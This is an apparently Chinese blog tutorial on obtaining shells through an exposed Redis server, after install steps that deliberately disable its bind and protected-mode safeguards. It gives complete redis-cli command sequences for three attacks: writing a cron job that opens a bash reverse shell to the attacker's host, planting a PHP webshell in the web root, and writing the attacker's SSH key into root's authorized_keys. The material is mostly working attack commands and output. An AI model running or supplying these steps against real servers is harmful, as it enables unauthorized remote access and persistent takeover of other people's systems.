前言

除了上一篇的主从复制rce,还有几种getshell的方式。下面来列举一下。

Redis简介

redis是一个使用C语言编写,开源高性能非关系型的键值对存储系统,和memcached类似,在企业中一般被当作缓存中间件使用,典型的应用场景如秒杀活动、热点数据缓存和分布式锁等。

安装Redis(以centos7为例)

yum install -y gcc #安装gcc
wget http://download.redis.io/releases/redis-5.0.3.tar.gz #下载压缩包
tar -zxvf redis-5.0.3.tar.gz #解压压缩包
cd redis-5.0.3
make #编译
make install PREFIX=/usr/local/redis #安装并指定安装目录

下面来配置后台启动和允许远程登陆
cp redis.conf /usr/local/redis/bin/
vi redis.conf

修改 redis.conf 文件,
把 daemonize no 改为 daemonize yes。
修改之后就能后台启动了。否则关掉命令窗口之后服务就断了。

将bind 127.0.0.1 注释掉:#bind 127.0.0.1
默认只允许本机,注释掉之后不限制ip
将protected-mode yes 改为:protected-mode no
默认保护模式,改为no
然后就能远程登陆数据库了。

crontab-计划任务

之前搞大数据,计划任务用得太多了,计划任务上线的思路都是一样的,目的就是为了执行命令,让靶机上线。

CONFIG SET parameter value
CONFIG SET 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启。
你可以使用它修改配置参数,或者改变 Redis 的持久化(Persistence)方式。
CONFIG SET 可以修改的配置参数可以使用命令 CONFIG GET * 来列出,所有被 CONFIG SET 修改的配置参数都会立即生效。

首先在自己的vps上开启监听:
nc -lvp 9999

然后在给靶机设置上计划任务

root@root:~# redis-cli -h 192.168.11.140
192.168.11.140:6379> set test "\n43 21 * * * bash -i >& /dev/tcp/192.168.11.130/8888 0>&1\n"
OK
192.168.11.140:6379> config set dir /var/spool/cron/ 
OK
192.168.11.140:6379> config set dbfilename root
OK
192.168.11.140:6379> save
OK
192.168.11.140:6379> 


可以看到计划任务已经写进系统了。
这儿设置的是每天的21:43执行这个反弹shell的命令,因为我这马上就要到这个点了,所以他到点就会给我反弹过来。

很准时啊,到点儿shell就给我弹过来了。

Redis写入webshell

root@root:~# redis-cli -h 192.168.11.140
192.168.11.140:6379> CONFIG SET dir /var/www/html
OK
192.168.11.140:6379> CONFIG SET dbfilename shell.php
OK
192.168.11.140:6379> SET shell "<?php phpinfo();?>"
OK
192.168.11.140:6379> BGSAVE 
Background saving started
192.168.11.140:6379> 

我们查看web目录,发现shell已经写入了。

写入的php代码正常运行。

写入ssh-keygen公钥然后ssh免密登录

免密登陆,又是大数据老生常谈的东西了。(但是在这需要注意的是,)
基本原理原理就是将攻击机(kali)生成的公钥文件,写到靶机(centos7)的~/.ssh/id_rsa.pub文件里,然后就可以用kali免密登陆靶机了。
基本的步骤为:
* 客户端发出认证请求;
* 服务器端使用客户端发送的公钥对一个随机的256位的字符串进行加密,并发送给 客户端;
* 客户端使用私钥对字符串进行解密,并生成一个MD5值发送给服务器端;
* 服务器端根据原始随机字符串生成MD5值进行匹配, 确认客户端身份;
* 至此, 双方互相确认对方身份并建立加密信道, 可以正式进行安全通信。

Kali创建密钥对

ssh-keygen -t rsa
首次输入命令后,然后一直回车就ok。
如果不是第一次生成,在覆盖写入那儿输y就行。

然后通过redis执行:

root@root:~# redis-cli -h 192.168.11.140
192.168.11.140:6379> config set dir /root/.ssh
OK
192.168.11.140:6379> config set dbfilename authorized_keys
OK
192.168.11.140:6379> save
OK
192.168.11.140:6379> 

设置好目录和文件名之后,我继续向靶机写入公钥。

root@root:~# cd .ssh/
root@root:~/.ssh# (echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt#
root@root:~/.ssh# cat key.txt |redis-cli -h 192.168.11.140 -x set crack
OK
root@root:~/.ssh# 

这儿有一个坑,就是如果.ssh目录的权限不够,公钥写不进去。
我们查看靶机的.ssh/authorized_keys 文件,发现公钥文件已经写入成功。

然后使用kali连接
ssh 192.168.11.140